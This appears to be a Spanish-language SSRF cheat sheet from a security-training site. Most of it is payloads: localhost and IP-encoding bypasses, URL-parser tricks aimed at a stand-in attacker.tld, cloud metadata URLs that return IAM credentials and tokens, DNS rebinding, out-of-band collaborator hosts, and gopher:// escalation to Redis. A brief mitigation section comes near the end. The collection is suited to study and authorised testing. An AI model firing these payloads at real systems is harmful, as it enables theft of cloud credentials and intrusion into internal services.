Respuesta rápida
SSRF (Server-Side Request Forgery) fuerza al servidor a hacer requests a URLs controladas por el atacante. Vector típico para acceso a cloud metadata (169.254.169.254), servicios internos (admin panels, bases de datos sin auth) y a veces RCE. Los bypasses se centran en evadir validación de URL/IP usando representaciones alternativas (decimal, octal, hex, IPv6), DNS tricks, parameter pollution y URL parsing differentials.
Localhost bypass payloads
IPv4 básicos
http://127.0.0.1:80
http://127.0.0.1:443
http://127.1:80 (notación corta)
http://127.000000000000000.1
http://0
http://0.0.0.0:80
http://localhost:80
IPv6
http://[::]:80/
http://[::1]:80/
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/
CIDR bypass
127.127.127.127 (cualquier IP 127.x.x.x)
127.0.1.3
Si el filter solo bloquea 127.0.0.1, IPs en otras posiciones de la subnet 127.0.0.0/8 siguen siendo localhost.
Dot bypass (Unicode)
127。0。0。1 (Unicode ideographic full stop)
127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
Cada IP IPv4 es interpretable como un único entero de 32 bits:
http://2130706433/ = 127.0.0.1
http://3232235521/ = 192.168.0.1
http://3232235777/ = 192.168.1.1
Octal
http://0177.0000.0000.0001
http://017700000001
Hexadecimal
http://0x7f000001/
http://0xc0a80014/
http://0x7f.0x00.0x00.0x01
Enclosed alphanumeric Unicode
http://①②⑦.⓪.⓪.⓪
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
Algunos parsers lo procesan como IP normal.
Mixed IPv4/IPv6
0:0:0:0:0:FFFF:7F00:0001 = 127.0.0.1 mapped a IPv6
DNS to localhost
Dominios públicos que resuelven a IPs internas:
localtest.me = 127.0.0.1
127.0.0.1.nip.io = 127.0.0.1
spoofed.burpcollaborator.net = 127.0.0.1
1ynrnhl.xip.io = 169.254.169.254
Si el filter blacklist IPs pero deja pasar dominios → DNS lookup → IP target permitida.
Domain bypass para targets externos
Si el filter dice "solo se permiten URLs a target.tld":
Protocol manipulation
https:attacker.tld
https:/attacker.tld
http:/\/\attacker.tld
//attacker.tld
\/\/attacker.tld/
/\/attacker.tld/
@attacker.tld
%0D%0A/attacker.tld
#attacker.tld
Encoded characters
attacker%00.tld (null byte)
attacker%E3%80%82tld (Unicode dot)
attacker。tld
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
Parameter injection
https://target.tld@attacker.tld
https://target.tld.attacker.tld
https://target.tld%6D@attacker.tld (m URL-encoded)
https://attacker.tld/target.tld
https://attacker.tld?d=target.tld
https://attacker.tld#target.tld
https://attacker.tld%23@target.tld
https://attacker.tld\@@target.tld
https://attacker.tld\anything@target.tld/
Parser differential (URL parsing differs entre lib que valida y lib que hace request)
https://target.tld\.attacker.tld
https://target.tld/.attacker.tld
1.1.1.1 &@2.2.2.2# @3.3.3.3/
Una librería ve el host como target.tld y permite. La librería que hace el request lo parsea como attacker.tld.
Cloud metadata endpoints
AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
IMDSv2 (token-based, más seguro): requiere PUT a /latest/api/token primero. Si el SSRF solo permite GET, IMDSv2 está protegido.
Google Cloud (GCP)
Requiere header Metadata-Flavor: Google:
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Si tu SSRF permite especificar headers, perfecto. Si no, busca endpoints "proxy" en la app que añadan headers automáticamente.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header requerido: Metadata: true.
DigitalOcean / Alibaba / Oracle Cloud
http://169.254.169.254/metadata/v1/ (DO)
http://100.100.100.200/latest/meta-data/ (Alibaba)
http://192.0.0.192/latest/meta-data/ (Oracle)
Todos los providers exponen metadata en alguna IP "magic". Worth probarlos todos.
DNS rebinding
Cuando el server resuelve un dominio una vez para validar y otra vez para el request real, hay race window:
- Atacante registra
dns-rebind.attacker.tldcon TTL=0. - Server resuelve → IP1 (público, OK).
- Server hace request → IP2 (interno, atacante cambió el DNS).
Herramientas: rbndr.us, tbnrd.com, dnschef custom.
Blind SSRF detection
Si el response no expone nada, prueba OOB:
http://yourcollab.collab.tld/ssrf-test
http://burp-collab-id.oastify.com
http://attacker-controlled-dns.attacker.tld
Burp Collaborator registra HTTP/DNS hits → confirma SSRF aunque el output no sea visible.
Endpoints donde buscar SSRF
- URL fetch features: webhooks, profile picture URL, OG preview, link unfurling, RSS reader, SVG render, screenshot service.
- Import / export: import URL JSON, scan URL for malware, fetch terms.
- Conversion services: HTML→PDF, URL→screenshot, URL→QR, URL→audio.
- OAuth callback proxies: si el server hace lookup del provider config.
- PDF generators: wkhtmltopdf, headless Chrome — fetch HTML del client → embed en PDF.
- Email features: imágenes inline desde URL, link verification.
- CSV import con celdas que contienen URLs interpretadas como hyperlinks.
Escalación de SSRF
Una vez confirmado:
- Cloud metadata → AWS/GCP/Azure credentials.
- Internal services: Redis (
redis://localhost:6379/CONFIG SET), Memcached, ElasticSearch (/_cluster/state), Kibana, Jenkins, Consul, etcd. - gopher:// scheme para enviar bytes raw a TCP — protocolo de SMTP, Redis con escritura.
- Internal admin panels que confían en peticiones del propio servidor.
- Port scanning interna: ¿qué servicios corren en
127.0.0.1:*?
Hunting checklist
- ¿Hay features que aceptan URLs (webhooks, imports, screenshots)?
- ¿El filter bloquea solo
127.0.0.1o normaliza todas las representaciones? - ¿Acepta IPv6, decimal, hex, Unicode dots?
- ¿Acepta
@injection en host? - ¿Headers personalizados se pueden inyectar (para GCP/Azure metadata)?
- ¿DNS rebinding posible?
- ¿Probar Burp Collaborator para blind SSRF?
- ¿Probar
gopher://,dict://,file://? - ¿Endpoints retornan parte del response? (full SSRF visible vs blind).
Mitigación correcta
- Whitelist de dominios (no blacklist). Resolver y verificar IP final.
- Bloquear ranges privados:
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16, IPv6 equivalentes. - Resolver DNS UNA vez y usar la IP resultante (mata DNS rebinding).
- IMDSv2 obligatorio en AWS.
- Egress firewall desde el container/VM que solo permite outbound a IPs/puertos legítimos.
Labs relacionados
Practica los 11 bypasses de SSRF + cloud metadata extraction: labs de SSRF.
Practica esto en un lab
Ssrf
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://
Catálogo completo de bypasses SSRF en 2026: IP encodings (decimal, hex, octal, dword), DNS rebinding, IPv6 abuse, cloud metadata (AWS IMDSv2, GCP, Azure), gopher:// para chaining a Redis/Memcached RCE.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse
Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.